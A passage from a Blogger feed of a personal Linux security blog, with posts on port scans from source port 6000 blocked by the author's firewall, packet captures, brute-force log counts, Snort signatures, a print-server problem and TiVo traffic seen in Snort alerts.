/&gt;&lt;br /&gt;&lt;blockquote&gt;syslog:Jan 10 14:16:03 none kernel: BLOCKED: IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:00:0c:db:f&lt;br /&gt;c:8b:69:08:00 SRC=221.194.45.3 DST=66.160.141.30 LEN=40 TOS=0x00 PREC=0x00 TTL=109 ID=256 &lt;br /&gt;PROTO=TCP SPT=6000 DPT=1521 WINDOW=16384 RES=0x00 SYN URGP=0 &lt;br /&gt;syslog:Jan 10 15:44:17 none kernel: BLOCKED: IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:00:0c:db:f&lt;br /&gt;c:8b:69:08:00 SRC=218.240.32.166 DST=66.160.141.30 LEN=40 TOS=0x00 PREC=0x00 TTL=110 ID=25&lt;br /&gt;6 PROTO=TCP SPT=6000 DPT=2967 WINDOW=16384 RES=0x00 SYN URGP=0 &lt;br /&gt;syslog:Jan 10 16:21:55 none kernel: BLOCKED: IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:00:0c:db:f&lt;br /&gt;c:8b:69:08:00 SRC=61.182.168.30 DST=64.62.231.220 LEN=40 TOS=0x00 PREC=0x00 TTL=107 ID=256&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Yeah, I've been blocking these.  It's pretty easy, as I've a firewall policy that just flat-out blocks anything I don't outright allow...It's pretty hardcore.  For those who think that "port 80 will always be open" (yeah, I do run a web-server), Modsecurity covers that port...but I'm deviating from the topic of this post.&lt;br /&gt;&lt;br /&gt;No one seems to know what the offending IPs are doing, but most appear to originate from China.  I'm running a tcpdump to try to gather data, but so far I don't have much (6 hours of sniffing only shows 4 hits so far).&lt;br /&gt;&lt;br /&gt;I'm using the following tcpdump command:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;tcpdump -i eth0 -Xvvnne -s 0 src port 6000 -w /tmp/dump_src_port_6000 &lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;I'll leave it running for 24 hours then check and see what I have...it might not amount to much, though.&lt;br /&gt;&lt;br /&gt;UPDATE:&lt;br /&gt;&lt;br /&gt;One thing I noticed right off the bat was the destination ports...they are all affiliated with MS Windows services (ports 135, 139, 1433, 2967, 1521) but also ports such as 8000, 8080 and 7212.  Weird.  I'll keep the sniff going for a few days (a week's worth of sniffing, maybe).&lt;br /&gt;&lt;br /&gt;UPDATE #2:&lt;br /&gt;&lt;br /&gt;Decided to kill the tcpdump process to see what's going on and post it here.  Will start it up again before I head to bed (I doubt I'm missing much so far):&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;root@starchild:~# tcpdump -Xvvnes -0 -r /tmp/dump_src_port_6000&lt;br /&gt;reading from file /tmp/dump_src_port_6000, link-type EN10MB (Ethernet)&lt;br /&gt;20:06:55.553601 00:0c:db:fc:8b:69 &gt; fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 54: (tos 0x0, ttl 107, id 256, offset 0, flags [none], proto TCP (6), length 40) 221.195.73.68.6000 &gt; 66.160.141.30.8000: S, cksum 0x3a87 (correct), 132448256:132448256(0) win 16384&lt;br /&gt; 0x0000:  4500 0028 0100 0000 6b06 580a ddc3 4944  E..(....k.X...ID&lt;br /&gt; 0x0010:  42a0 8d1e 1770 1f40 07e5 0000 0000 0000  B....p.@........&lt;br /&gt; 0x0020:  5002 4000 3a87 0000                      P.@.:...&lt;br /&gt;21:06:16.773790 00:0c:db:fc:8b:69 &gt; fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 54: (tos 0x0, ttl 109, id 256, offset 0, flags [none], proto TCP (6), length 40) 121.101.212.38.6000 &gt; 66.160.141.30.1433: S, cksum 0xca79 (correct), 1796538368:1796538368(0) win 16384&lt;br /&gt; 0x0000:  4500 0028 0100 0000 6d06 2f86 7965 d426  E..(....m./.ye.&amp;&lt;br /&gt; 0x0010:  42a0 8d1e 1770 0599 6b15 0000 0000 0000  B....p..k.......&lt;br /&gt; 0x0020:  5002 4000 ca79 0000                      P.@..y..&lt;br /&gt;21:36:31.664717 00:0c:db:fc:8b:69 &gt; fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 54: (tos 0x0, ttl 110, id 256, offset 0, flags [none], proto TCP (6), length 40) 60.13.26.66.6000 &gt; 64.62.231.220.1433: S, cksum 0xd34d (correct), 19005440:19005440(0) win 16384&lt;br /&gt; 0x0000:  4500 0028 0100 0000 6e06 cd66 3c0d 1a42  E..(....n..f&lt;..B&lt;br /&gt; 0x0010:  403e e7dc 1770 0599 0122 0000 0000 0000  @&gt;...p..."......&lt;br /&gt; 0x0020:  5002 4000 d34d 0000                      P.@..M..&lt;br /&gt;22:00:21.259640 00:0c:db:fc:8b:69 &gt; fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 54: (tos 0x0, ttl 106, id 256, offset 0, flags [none], proto TCP (6), length 40) 222.45.112.219.6000 &gt; 66.160.141.30.135: S, cksum 0xe3c1 (correct), 1432485888:1432485888(0) win 16384&lt;br /&gt; 0x0000:  4500 0028 0100 0000 6a06 3109 de2d 70db  E..(....j.1..-p.&lt;br /&gt; 0x0010:  42a0 8d1e 1770 0087 5562 0000 0000 0000  B....p..Ub......&lt;br /&gt; 0x0020:  5002 4000 e3c1 0000                      P.@.....&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;I'm not seeing much but my FW is definitely not helping things, either (killing the connections, which is why you can only see syn packets).  Well, anyone else want to guess what's going on?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-6151163514609107484?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/6151163514609107484/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=6151163514609107484' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/6151163514609107484'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/6151163514609107484'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2010/01/whats-up-with-all-port-scanning-using.html' title='What&apos;s Up With All The Port Scanning Using TCP/6000 As A Source Port?'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-3772543853702039178</id><published>2010-01-09T15:40:00.002-05:00</published><updated>2010-01-09T15:50:17.047-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hplip'/><category scheme='http://www.blogger.com/atom/ns#' term='Linksys PSUS4'/><category scheme='http://www.blogger.com/atom/ns#' term='Slackware'/><category scheme='http://www.blogger.com/atom/ns#' term='packages.slackware.it'/><title type='text'>Been awhile...</title><content type='html'>So, what am I doing currently?&lt;br /&gt;&lt;br /&gt;I've been having an issue getting a print server (Linksys PSUS4) to work with anything other than Windows.&lt;br /&gt;&lt;br /&gt;I've two Macs in the house that do NOT like this print server.  I've yet to test it in Linux but my wife is one of the people that uses the Macs heavily, so the Linux alternative won't work for her.&lt;br /&gt;&lt;br /&gt;For now, I'm attempting to utilize my main Linux machine, 'slackbox' as a print server by using CUPS.  The version of Slackware that this machine is using is v12.0.  I've found that there is HPLIP support for Slackware v12.0 but I'll need to update the HPLIP version (it is currently at v1.7.4).  So, I've the option of attempting to patch the current install to the latest version (no, I've not been keeping up with patches), or compile the latest version from sources and install it to the Slackware machine.&lt;br /&gt;&lt;br /&gt;Another thing I've found is that &lt;a href="http://packages.slackware.it/"&gt;http://packages.slackware.it/&lt;/a&gt; has been down since at least this past October.  I didn't realise how crucial this Slackware service was, but I'm hoping that this gets fixed soon or that Pat V. eventually addresses the issue by standing up his own service.  As much as I agree with the manual approach to Linux, there will come a time to where some things may have to become simplified...this is one of those things, I think.&lt;br /&gt;&lt;br /&gt;Anyways, I'll update this post with any notes as I continue to work around the print server issue (so that my wife can quit nagging me and making bad assumptions about things she doesn't understand).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-3772543853702039178?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/3772543853702039178/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=3772543853702039178' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/3772543853702039178'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/3772543853702039178'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2010/01/been-awhile.html' title='Been awhile...'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-8341231581663709582</id><published>2009-11-15T22:54:00.001-05:00</published><updated>2009-11-15T22:56:06.006-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Snort'/><category scheme='http://www.blogger.com/atom/ns#' term='signatures'/><category scheme='http://www.blogger.com/atom/ns#' term='IDS'/><category scheme='http://www.blogger.com/atom/ns#' term='emergingthreats.com'/><title type='text'>Emergingthreats.com sigs...</title><content type='html'>Quick note:&lt;br /&gt;&lt;br /&gt;One thing I hate about emergingthreats.com sigs is the fact that the sigs have no real documentation. Yeah, I know there's a site (a few, in fact) that provide this (via opensource efforts), but I much prefer to not have to research each and every sig all the time I'm investigating something.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-8341231581663709582?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/8341231581663709582/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=8341231581663709582' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/8341231581663709582'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/8341231581663709582'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2009/11/emergingthreatscom-sigs.html' title='Emergingthreats.com sigs...'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-148617578337150425</id><published>2009-08-17T08:22:00.006-04:00</published><updated>2011-07-19T22:37:09.584-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='logs'/><category scheme='http://www.blogger.com/atom/ns#' term='Firewall'/><category scheme='http://www.blogger.com/atom/ns#' term='bruteforce'/><title type='text'>FW Log Check</title><content type='html'>Doing a remote check of FW activity, I've found that the FW has blocked MANY IPs in the last 9 days:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;[root@delly ~]# zcat /var/log/bruteforce.0908* | wc -l&lt;br /&gt;11424&lt;/blockquote&gt;Those are all unique IPs.  Out of curiosity, I checked July's and May's logs:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;[root@delly ~]# zcat /var/log/bruteforce.0907* | wc -l&lt;br /&gt;40511&lt;br /&gt;&lt;br /&gt;[root@delly ~]# zcat /var/log/bruteforce.0906* | wc -l&lt;br /&gt;10121&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;All I can say is, "WOW!!" There was a HUGE spike in July (maybe due to summer vacation of most kids). Unfortunately, my logs don't go back beyond June.&lt;br /&gt;&lt;br /&gt;I'm curious as to how August will be but I can already see that the number will be high. I'll update the blog as I as continue to watch.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;[EDIT:  I checked August's count and it is below:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote style="color: red;"&gt;zcat /var/log/bruteforce.0908* | wc -l&lt;br /&gt;40761&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;September (so far) is:&lt;/span&gt;&lt;br /&gt;&lt;blockquote style="color: red;"&gt;zcat /var/log/bruteforce.0909* | wc -l&lt;br /&gt;20186&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;I think I'll start scripting this command to run every week so that I can start trending.[09/15/2009]]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;[Edit:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;So, it is 7/19/2011. &amp;nbsp;I will try to graph what I'm about to provide, but here's what I have after zcatting some .gz files:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;2011:&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;[root@delly ~]# zcat /var/log/bruteforce.1107* | wc -l&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;&amp;nbsp;&amp;nbsp; &lt;b&gt;58589&lt;/b&gt;&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;[root@delly ~]# zcat /var/log/bruteforce.1106* | wc -l&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;&amp;nbsp;&amp;nbsp; &lt;b&gt;91736&lt;/b&gt;&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;[root@delly ~]# zcat /var/log/bruteforce.1105* | wc -l&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;&amp;nbsp;&amp;nbsp; &lt;b&gt;93765&lt;/b&gt;&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;[root@delly ~]# zcat /var/log/bruteforce.1104* | wc -l&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;&amp;nbsp;&amp;nbsp; &lt;b&gt;89521&lt;/b&gt;&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;[root@delly ~]# zcat /var/log/bruteforce.1103* | wc -l&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;&amp;nbsp;&amp;nbsp; &lt;b&gt;91337&lt;/b&gt;&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;[root@delly ~]# zcat /var/log/bruteforce.1102* | wc -l&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;&amp;nbsp;&amp;nbsp; &lt;b&gt;81415&lt;/b&gt;&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;[root@delly ~]# zcat /var/log/bruteforce.1101* | wc -l&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;&amp;nbsp;&amp;nbsp; &lt;b&gt;89971&lt;/b&gt;&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;2010:&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;[root@delly ~]# zcat /var/log/bruteforce.1012* | wc -l&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;&amp;nbsp;&amp;nbsp; &lt;b&gt;90024&lt;/b&gt;&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;[root@delly ~]# zcat /var/log/bruteforce.1011* | wc -l&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;&amp;nbsp;&amp;nbsp; &lt;b&gt;87120&lt;/b&gt;&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;[root@delly ~]# zcat /var/log/bruteforce.1010* | wc -l&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;&amp;nbsp;&amp;nbsp; &lt;b&gt;89748&lt;/b&gt;&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;[root@delly ~]# zcat /var/log/bruteforce.1009* | wc -l&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;&amp;nbsp;&amp;nbsp; &lt;b&gt;85585&lt;/b&gt;&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;[root@delly ~]# zcat /var/log/bruteforce.1008* | wc -l&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;&amp;nbsp;&amp;nbsp; &lt;b&gt;84738&lt;/b&gt;&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;[root@delly ~]# zcat /var/log/bruteforce.1007* | wc -l&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;&amp;nbsp;&amp;nbsp; &lt;b&gt;66438&lt;/b&gt;&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;[root@delly ~]# zcat /var/log/bruteforce.1006* | wc -l&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;&amp;nbsp;&amp;nbsp; &lt;b&gt;62905&lt;/b&gt;&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;[root@delly ~]# zcat /var/log/bruteforce.1005* | wc -l&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;&amp;nbsp;&amp;nbsp; &lt;b&gt;63421&lt;/b&gt;&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;[root@delly ~]# zcat /var/log/bruteforce.1004* | wc -l&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;&amp;nbsp;&amp;nbsp; &lt;b&gt;60478&lt;/b&gt;&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;[root@delly ~]# zcat /var/log/bruteforce.1003* | wc -l&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;&amp;nbsp;&amp;nbsp; &lt;b&gt;59006&lt;/b&gt;&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;[root@delly ~]# zcat /var/log/bruteforce.1002* | wc -l&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;&amp;nbsp;&amp;nbsp; &lt;b&gt;44380&lt;/b&gt;&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;[root@delly ~]# zcat /var/log/bruteforce.1001* | wc -l&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;&amp;nbsp;&amp;nbsp; &lt;b&gt;45392&lt;/b&gt;&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;2009:&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;[root@delly ~]# zcat /var/log/bruteforce.0912* | wc -l&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;&amp;nbsp;&amp;nbsp; &lt;b&gt;48281&lt;/b&gt;&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;[root@delly ~]# zcat /var/log/bruteforce.0911* | wc -l&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;&amp;nbsp;&amp;nbsp; &lt;b&gt;45127&lt;/b&gt;&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;[root@delly ~]# zcat /var/log/bruteforce.0910* | wc -l&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;&amp;nbsp;&amp;nbsp; &lt;b&gt;44254&lt;/b&gt;&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;[root@delly ~]# zcat /var/log/bruteforce.0909* | wc -l&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;&amp;nbsp;&amp;nbsp; &lt;b&gt;40185&lt;/b&gt;&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;[root@delly /var/log]# zcat bruteforce.* |wc -l&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;&amp;nbsp;&lt;b&gt;1704809&lt;/b&gt;&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;[root@delly /var/log]# zcat bruteforce.* |wc -l | uniq&lt;/div&gt;&lt;div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;&amp;nbsp;&lt;b&gt;1704809&lt;/b&gt;&lt;/div&gt;&lt;div&gt;]&lt;/div&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-148617578337150425?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/148617578337150425/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=148617578337150425' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/148617578337150425'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/148617578337150425'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2009/08/doing-remote-check-of-fw-activity-ive.html' title='FW Log Check'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-1547074840366012414</id><published>2009-08-16T02:05:00.004-04:00</published><updated>2010-01-11T17:35:52.270-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tivo'/><category scheme='http://www.blogger.com/atom/ns#' term='router'/><category scheme='http://www.blogger.com/atom/ns#' term='Linksys'/><category scheme='http://www.blogger.com/atom/ns#' term='snort logs'/><title type='text'>Strange traffic in Snort logs</title><content type='html'>Yesterday, I was messing around with an older machine which had an older version (and rules) of Snort.&lt;br /&gt;&lt;br /&gt;I let it run overnight, sniffing internal network traffic.  Today, I checked the logs and saw the following:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;root@slackbox:/var/log/snort# cat alert | grep 204.176.49.2&lt;br /&gt;10.150.1.133:32834 -&gt; 204.176.49.2:80 TCP TTL:63 TOS:0x0 ID:40635 IpLen:20 DgmLen:576 DF&lt;br /&gt;10.150.1.133:32882 -&gt; 204.176.49.2:80 TCP TTL:63 TOS:0x0 ID:22086 IpLen:20 DgmLen:576 DF&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;The whole trace is &lt;a href="http://wigglit.ath.cx/txt/snort_trace_tivo"&gt;here&lt;/a&gt;, since Blogger tends to choke on Hex payload&lt;br /&gt;&lt;br /&gt;So, I've a few questions:&lt;br /&gt;&lt;br /&gt;1.  Who is 10.150.1.133?&lt;br /&gt;&lt;br /&gt;2. Who is 204.176.49.2 and 204.176.49.9?&lt;br /&gt;&lt;br /&gt;3.  So, I have a Tivo system in the house (the payload confirms this).  Why is my Tivo calling out to an IP address that is owned by Verizon Business?&lt;br /&gt;&lt;br /&gt;4.  Why is my production internal Snort sensor not picking up this traffic but this test internal sensor is?&lt;br /&gt;&lt;br /&gt;I've some answers to those questions:&lt;br /&gt;&lt;br /&gt;1.  10.150.1.133 is a WRT54GX4 Linksys router.  This was somewhat difficult for me to find out, because my main router doesn't normal chat to this particular router (it is isolated).  The WRT54GX4's sole purpose is to provide internet connectivity for my Tivo.  The Tivo is using a an old USB wifi connection that only has WEP support, so I use the WRT54GX4 to provide connectivity for the Tivo, lessening the risk in using WEP by isolating the WAP from the rest of the network.  In order for me to find out what IP the Tivo is using, I'd have to sniff the traffic on the WRT54GX4's network, which I don't normally do.  What I did instead was ping the IP, then check the arp table of the machine I pinged from.  This told me the hostname and MAC address of the IP.  Once I saw the hostname, I knew it had to be the Tivo generating this traffic (the payload above also helped).&lt;br /&gt;&lt;br /&gt;2.  I did a 'whois' search on IPs 204.176.49.2 and 204.176.49.9.  Both show as belonging to Verizon Business.  What threw me for a loop was that I was expecting it to show as owned by Tivo.  After thinking on this a bit, it is more than likely that Verizon Business is providing IP space to Tivo (and maybe other hosting services).  That is news to me, since I actually work for Verizon Business and am heavily involved in networking services.&lt;br /&gt;&lt;br /&gt;3.  I conducted Google searches on the IPs and came up with tons of hits.  Some hits documented people who saw traffic outbound from their network to those IPs and they were concerned, but most of the hits show that the outbound connections are part of the Tivo service.&lt;br /&gt;&lt;br /&gt;4.  It is obvious that I have to compare the two internal Snort sensor's config files, specifically the http_inspect settings.  Both internal sensors are on the same subnet (the Tivo is not...the WRT router is behind my main router and uses different IP space...the Tivo is behind this router), so both should've seen it.  This leads me to believe that I've been missing some internal traffic, so I'll look into this issue soon.&lt;br /&gt;&lt;br 